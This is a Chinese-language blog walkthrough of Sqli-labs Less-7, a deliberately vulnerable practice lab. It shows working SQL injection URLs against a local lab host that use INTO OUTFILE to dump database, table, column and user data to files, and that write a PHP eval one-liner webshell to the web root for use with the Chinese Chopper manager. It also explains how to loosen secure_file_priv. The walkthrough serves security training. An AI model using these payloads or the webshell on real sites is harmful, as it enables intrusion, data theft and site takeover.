Sqli-labs之Less-7

                                             Less-7

GET - 导入文件 - 字符串

分析数字型/字符型(单/双引号)注入:

    我们可以分别尝试将 ?id=1    ?id=1'   ?id=1"  添加到url中,进行测试,发现?id=1'报错,初步判断为字符型注入,经过测试后发现正常返回 You are in.... Use outfile......   错误返回 You have an error in your SQL syntax

接下来我们测试 ?id=1' 是否是注入点(利用 or 1=1  或者 and 1=1等方法):

发现报错,那么接下来 分析是否存在括号及其个数,依次增加括号个数,直到回显正常:

由此可推断出,这是带双括号的单引号注入,那么我们对比一下源码:

发现我们的验证是正确的,接下来就是注入了,我们从本关的标题了解到: dump into outfile,意思是本关我们利用文件导入的方式进行注入。(在补充下载源码中我们发现,print_f(mysql_error()) 被注释掉了说明我们不能 基于报错来进行注入,但我们可以使用布尔盲注,直接套Less-5的表达式就能得出我们想要的信息,但这不是本关的意图。)

那么我们使用 导出文件开始注入吧:(两种思路)

第一种思路:

 1. 先导出文件,导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径,但在Less-7下我们无法获取到网站路径,因为它报错不在返回报错的数据库信息,那么怎么办?很简单,在Less 1-6关中是返回报错信息的,那么我们随便挑一关进行报错注入,来获取我们想要的信息,这里以Lese-1为例获取网站的绝对路径:(@@datadir获取数据库存储数据路径 ,@@basedir是MYSQL获取安装路径)

http://192.168.33.1/sqli/Less-1/?id=-1' union select 1,2,@@datadir -- #

@@datadir返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir我们可以推断出网站的绝对路径为 C:\phpStudy\www\

(PS:实际上我们要获得一个网站的绝对路径是很困难的)

2.读写权限测试:

id=1')) and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限

返回正常,说明具有文件读取权限

提示:

     MySQL是通过权限表来控制用户对数据库访问的,权限表存放在mysql数据库中,主要的权限表有以下几个:user,db,host,table_priv,columns_priv和procs_priv,详细了解:https://www.cnblogs.com/liuhaidon/archive/2019/09/12/11511129.html。(我已保存到 第一部分:1.MySQL数据库的基础知识

3.利用into outfile 进行演示:

http://192.168.33.1/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" -- #

上图中显示 sql 出错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" -- #

(这里用-1还是1,实际上是没多大区别的,因为union是联合查询。)

注意:

C:\\phpStudy\\WWW\\sqli\\Less-7\\是当前关卡的路径,当然如果想直接放在WWW目录下也是一样的:

提示:

反斜杠“\”是Windows系统文件目录结构使用的分隔符,如:D:\我的文档。只有 windows 支持反斜杠路径符 \ ,而所有系统支持 /

但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \\ 对反斜杠进行转义,那么结果就变成了一个反斜杠。

4.导入到文件我们可以直接将一句话木马导入进去----(注意:$_POST是php的内置变量,而且php还区分大小写的,所以这里一定要写正确)

http://192.168.33.1/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" -- #

访问页面

对比后台查看php代码:

接下来用菜刀等 webshell 管理工具连接即可,这里使用“菜刀”进行演示(菜刀不会的请自行百度):

第二种思路:

注意:

对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值

show variables like '%secure%';


如果是null,想得到导入导出权限,可以在my.ini文件[mysqld]的后面加上secure_file_priv=''(两个英文单引号),然后重启phpstudy即可

还要注意的是:
1、outfire 后面的路径为绝对路径且存在
2、要有足够的权限
3、注入的内容也可以是字符串,句子
4、要想注入新内容,需要新的文件名

这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次上传test.php,下次再上传test.php,就是无效命令了,也就是新的test.php中的内容并不会覆盖之前的test.php

1.获取字段数:

http://192.168.33.1/sqli/Less-7/?id=1')) order by 3 -- #

http://192.168.33.1/sqli/Less-7/?id=1')) order by 4 -- #

对比两张图可知当前表有3个字段。

2.导出数据库名

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,user(),database() into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\aaa.txt" -- #

(PS: 让id=-1是因为我们不需要id为几的数据,我们要的是联合查询union后面查询的数据。)

页面访问

对比后台:

2.导出表名

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\bbb.txt" -- #

(注意:这里文件名换了。要想注入新内容,需要新的文件名)

页面访问:

对比后台:

3.导出字段名

http://192.168.33.1/sqli/Less-7/?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ccc.txt" -- #

页面访问:

对比后台:

4.导出数据

http://192.168.33.1/sqli/Less-7/?id=-1')) union select * from users into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ddd.txt" -- #

页面访问:

对比后台:

5.使用菜刀

中国菜刀是一款专业网站管理软件,用途广泛,使用方便,小巧实用,更多的利用方式是用它来连接放在网站上的木马,来对被攻击的网站进行管理。

在该题中,若能将一句话木马<?php eval($_POST["密码"]);?>上传至站点的根目录或该web项目的文件夹,(前提secure_file_priv的值没有具体值时,即不对mysqld 的导入|导出做限制---该题是不对文件的导入导出做限制的,如果你的被限制了,请在自己的环境中打开此权限),便可用中国菜刀连接webshell地址拿下整个站点。

导入一句话木马:

http://192.168.33.1/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" -- #

接下来的步骤与前面的一样,不再重复了。


最后介绍下导入导出函数,现在了解即可,因为下面有的我还没具体使用过

@@datadir——数据库存储路径
@@basedir——Mysql安装路径
dumpfile——导出文件,类似outfile;不同的是,dumpfile一次导出一行,会和limit结合使用
load_file()——将文件导入mysql,用法select load_file("文件路径")

使用select ... into outfile以逗号分隔字段的方式将数据导入到一个文件中:
select * into outfile 'D:\\log1.txt' fields terminated by ',' from log.log1

将刚刚导出的文件log1.txt导入到表log1相同结构的log2中:
load data infile 'D:\\log1.txt' into table aa.log2 fields terminated by ','

使用select * into outfile导出:
select * into outfile 'D:\\test.txt' fields terminated by ',' optionally enclosed by '"' lines terminated by '\n' from test.table

导入:
load data infile '/tm/fi.txt' into table test.fii fields terminated by ',' optionally enclosed by '"' lines terminated by '\n'

fields terminated by ','——字段间分割符
optionally enclosed by '"'——将字段包围,对数值型无效
lines terminated by '\n'——换行符



 

 

 

  • 14
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值